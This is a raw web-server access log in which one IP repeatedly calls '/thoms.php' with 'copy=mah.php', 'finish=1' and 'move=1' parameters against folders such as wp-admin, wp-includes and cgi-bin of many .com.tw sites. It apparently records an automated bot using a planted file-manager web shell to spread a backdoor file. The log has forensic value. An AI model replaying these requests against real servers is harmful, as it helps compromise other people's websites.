45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22772 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22788 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 200 13215 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22805 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22767 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22788 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 13413 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28882 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 12594 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 12051 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 13767 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13609 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22780 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21175 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21175 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2F.well-known HTTP/1.1" 200 12594 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12042 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14352 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17506 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13613 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:07 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13280 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17506 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 28785 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 14006 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59208 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 14019 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 200 13116 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 200 28716 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13435 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17387 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:08 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 200 12590 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 200 14184 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:09 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12045 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
